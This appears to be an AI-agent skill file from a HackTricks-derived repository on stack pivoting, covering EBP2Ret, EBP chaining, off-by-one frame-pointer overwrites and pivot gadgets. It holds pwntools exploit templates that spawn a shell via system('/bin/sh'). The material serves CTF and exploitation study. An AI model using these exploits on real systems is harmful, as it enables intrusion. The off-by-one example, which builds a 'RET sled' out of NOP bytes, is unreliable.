Hacktricks-skills stack-pivoting-exploitation
How to exploit stack pivoting vulnerabilities using EBP2Ret, EBP chaining, and other pivot gadgets. Use this skill whenever the user mentions stack pivoting, EBP/RBP manipulation, leave;ret gadgets, pop rsp gadgets, xchg gadgets, or needs to control RSP/ESP in binary exploitation. Also use when dealing with off-by-one vulnerabilities that can modify saved frame pointers, or when standard ROP isn't available but you can control the frame pointer. Make sure to use this skill for any binary exploitation task involving stack pointer manipulation, function epilogue exploitation, or when you need to redirect execution flow through the frame pointer.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining/SKILL.MDStack Pivoting Exploitation
This skill helps you exploit stack pivoting vulnerabilities by manipulating the Base Pointer (EBP/RBP) to control execution flow through function epilogues.
When to Use This Skill
Use this skill when:
- You can control the saved EBP/RBP but not EIP/RIP directly
- You have an off-by-one vulnerability affecting the frame pointer
- You need to pivot the stack pointer to attacker-controlled memory
- Standard ROP chains aren't available but pivot gadgets exist
- You're working with function epilogues containing
or similarleave; ret - You need to chain multiple function calls through fake frame pointers
Core Concepts
The leave; ret
Pattern
leave; retOn x86/x86-64,
leave is equivalent to:
mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret
The saved EBP/RBP sits on the stack before the saved EIP/RIP. By controlling EBP, you can indirectly control where RSP points after
leave, and thus control the return address.
Key Insight
You need to know two addresses:
- Where RSP will point after
(your controlled memory location)leave - The value at that location that
will consume (your target address)ret
Finding Pivot Gadgets
Using Ropper
# Find leave;ret gadgets ropper --file ./vuln --search "leave; ret" # Find pop rsp gadgets ropper --file ./vuln --search "pop rsp" # Find xchg gadgets ropper --file ./vuln --search "xchg rax, rsp ; ret" # Find add rsp gadgets ropper --file ./vuln --search "add rsp,"
Using ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Common Pivot Gadgets to Search For
- Classic frame pointer pivotleave ; ret
- Direct stack pointer controlpop rsp ; ret
- Swap register with stack pointerxchg rax, rsp ; ret
- Increment stack pointeradd rsp, <imm> ; ret
- Move register to stack pointermov rsp, <reg> ; ret
EBP2Ret Technique
When It Works
- You can write to the saved EBP/RBP location
- The function uses frame pointers (not optimized away)
- You have a writable memory region to stage your payload
Exploit Construction Steps
- Find a writable address where you can place your payload
- Craft the fake EBP to point to your writable region + offset (8 bytes on x86-64, 4 bytes on x86 for the
)pop rbp - Stage your payload at the writable address:
- First 8/4 bytes: junk or second fake EBP (consumed by
)pop rbp - Next 8/4 bytes: your target address (consumed by
)ret
- First 8/4 bytes: junk or second fake EBP (consumed by
- Overflow to overwrite saved EBP with your fake EBP
- When function returns,
sets RSP to your fake EBP,leave
consumes the first value,pop rbp
jumps to your targetret
Payload Structure (x86-64)
[Writable Memory Location] ├── 0x00-0x07: Junk or second fake EBP (pop rbp) ├── 0x08-0x0F: Target address (ret) └── 0x10+: Additional ROP chain or arguments
Example: Calling system("/bin/sh")
from pwn import * elf = context.binary = ELF('./vuln') context.arch = 'amd64' # Find addresses SYSTEM = elf.sym['system'] BINSH = next(elf.search(b'/bin/sh')) LEAVE_RET = 0x40117c # Found via ropper # Writable region (e.g., .bss or heap) WRITABLE_ADDR = 0x601000 # Craft payload at writable address payload_at_writable = flat( 0x0, # pop rbp (junk or second fake EBP) SYSTEM, # ret target 0x0, # return after system BINSH # argument for system ) # Main overflow payload payload = b'A' * offset_to_saved_rbp # Pad to saved RBP payload += flat( WRITABLE_ADDR + 0x8, # Fake RBP (pointing past the pop rbp value) LEAVE_RET # This will be the return address ) # Send payload p.sendline(payload)
EBP Chaining
Concept
Chain multiple fake EBPs to control execution flow through multiple function calls:
[Controlled Memory] ├── Fake EBP 1 ├── &system() ├── &leave;ret ├── &"/bin/sh" ├── Fake EBP 2 ├── &exit() └── ...
When to Use
- You need to call multiple functions in sequence
- You have limited write primitives
- You want to maintain control after each function returns
Example with Stack Leak
from pwn import * elf = context.binary = ELF('./vuln') p = process() # Get stack leak p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') # Gadgets LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # ROP chain payload = flat( 0x0, # rbp (could be another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) # Pad to reach saved RBP payload = payload.ljust(96, b'A') # Add the pivot payload += flat( buffer, # Load leaked address in RBP LEAVE_RET # Use leave to pivot RSP ) p.sendline(payload)
Off-By-One Variant
When It Applies
- You can only modify the least significant byte of saved EBP/RBP
- The target memory location shares the first 3/5 bytes with original EBP/RBP
Strategy
- Find a writable region near the original EBP (same page or nearby aligned region)
- Use a RET sled to increase hit probability
- Place the real ROP chain at the end of the sled
- Modify the low byte to jump into the sled
Example
# Original EBP: 0x7fffffffe000 # We can only change the last byte # Target: 0x7fffffffe0FF (same page, different offset) # Create RET sled RET_SLED = b'\x90' * 256 # NOP sled ROP_CHAIN = flat(SYSTEM, 0, BINSH) # Place at target address payload_at_target = RET_SLED + ROP_CHAIN # Overflow to modify last byte of EBP payload = b'A' * offset_to_saved_rbp payload += b'\x00' * 7 # Keep first 7 bytes payload += b'\xff' # Change last byte to 0xFF
Alternative Pivot Gadgets
pop rsp Gadget
# Gadget: pop rsp; pop r13; pop r14; pop r15; ret POP_CHAIN = 0x401225 payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(104, b'A') # Pivot RSP payload += flat( POP_CHAIN, buffer # New RSP value )
xchg <reg>, rsp Gadget
[Stack Layout] ├── Return address (to xchg gadget) ├── Register value (where RSP should point) └── [Register value] <- RSP will point here after xchg
XCHG_RAX_RSP = 0x401230 payload = flat( XCHG_RAX_RSP, WRITABLE_ADDR # Value to move into RSP via RAX )
Architecture-Specific Considerations
x86-64 (amd64)
- 16-byte stack alignment required before
instructionscall - Add alignment gadget if needed:
orretsub rsp, 8; ret - Use
for first argument,pop rdi
for second, etc.pop rsi
# Alignment before calling system payload = flat( POP_RDI, BINSH, 0x0, # Alignment (8 bytes) SYSTEM )
x86 (32-bit)
- Arguments passed on stack (right-to-left)
- No 16-byte alignment requirement
- Use
gadgets or direct stack layoutpush
# x86 system("/bin/sh") payload = flat( BINSH, # Push argument SYSTEM # Call system )
ARM64
ARM64 works differently:
returns toRET
, not SPx30- Prologue/epilogue don't store/retrieve SP from stack
- Need to control both SP and x30
Prologue: sub sp, sp, 16 stp x29, x30, [sp] # [sp] = x29; [sp+8] = x30 mov x29, sp Epilogue: ldp x29, x30, [sp] # x29 = [sp]; x30 = [sp+8] add sp, sp, 16 ret # Returns to x30
ARM64 Strategy:
- Control SP through some other means (overflow, register leak)
- Abuse epilogue to load x30 from controlled SP
- RET to the controlled x30 value
Modern Mitigations
CET Shadow Stack (SHSTK)
Problem: CET compares return addresses on normal stack with hardware-protected shadow stack. Mismatch = crash.
Impact: EBP2Ret and
leave;ret pivots will crash on first ret from pivoted stack.
Checking for CET/SHSTK
# Check if binary is CET-marked readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' # Check CPU support grep -E 'user_shstk|ibt' /proc/cpuinfo # Check if active for process grep -E 'x86_Thread_features' /proc/$$/status # In gdb/pwndbg (gdb) checksec
Workarounds (if SHSTK is present)
- JOP (Jump-Oriented Programming)
- COOP (Call-Oriented Oriented Programming)
- SROP (Sigreturn-Oriented Programming)
- Avoid
-based pivots entirelyret
Windows CET
- Windows 10+: User-mode CET
- Windows 11+: Kernel-mode Hardware-enforced Stack Protection
- Developers opt-in via CETCOMPAT
- Same impact:
-based pivots failret
Frame Pointer Omission
Problem
Optimized binaries may omit frame pointers:
# With frame pointer: push %ebp mov %esp,%ebp ... leave ret # Without frame pointer (optimized): push %ebx sub $0x100,%esp ... add $0x10c,%esp pop %ebx ret
Detection
# Check compilation flags readelf -p .comment ./binary # Disassemble function objdump -d ./binary | grep -A 20 '<function_name>' # Look for leave;ret or pop rbp;ret
If Frame Pointer is Omitted
- EBP2Ret won't work
- Look for alternative pivot gadgets:
pop rsp; retxchg rax, rsp; retadd rsp, <imm>; ret
Classic Pivot Staging Pattern
A robust strategy for many CTFs/exploits:
- Initial overflow → Call
/read
into large writable regionrecv - Stage full ROP chain in
, heap, or mapped RW memory.bss - Return to pivot gadget → Move RSP to staged region
- Continue with chain → Leak libc, call
, read shellcode, jumpmprotect
# Step 1: Overflow to call read into .bss payload1 = b'A' * offset + flat( POP_RDI, BSS_ADDR, POP_RSI, 0x100, READ_ADDR ) # Step 2: Send ROP chain to .bss rop_chain = flat( POP_RDI, BINSH, SYSTEM ) # Step 3: Pivot to .bss payload2 = b'B' * offset + flat( LEAVE_RET, BSS_ADDR + 0x8 # Account for pop rbp )
Debugging Tips
In GDB/Pwndbg
# Set breakpoint at vulnerable function break *0x401234 # Examine stack x/20gx $rsp # Check frame pointer info frame # After overflow, check saved RBP x/10gx $rbp # Single step through epilogue stepi # Watch RSP changes display/1gx $rsp
Common Issues
- Wrong offset → Check with cyclic pattern
- Alignment issues → Add padding before
call - Frame pointer omitted → Use alternative gadgets
- CET enabled → Pivot won't work, try SROP/JOP
- Wrong architecture → Adjust for x86 vs x86-64 vs ARM64
Quick Reference
| Gadget | Use Case | Stack Layout |
|---|---|---|
| Classic EBP pivot | [fake EBP][target addr] |
| Direct RSP control | [new RSP value] |
| Swap register with RSP | [rax value] |
| Increment RSP | - |
| Move register to RSP | - |
Next Steps
After successful pivot:
- Leak addresses if PIE is enabled
- Call mprotect to make memory executable
- Read shellcode into executable memory
- Jump to shellcode or continue ROP chain
- Maintain alignment throughout the chain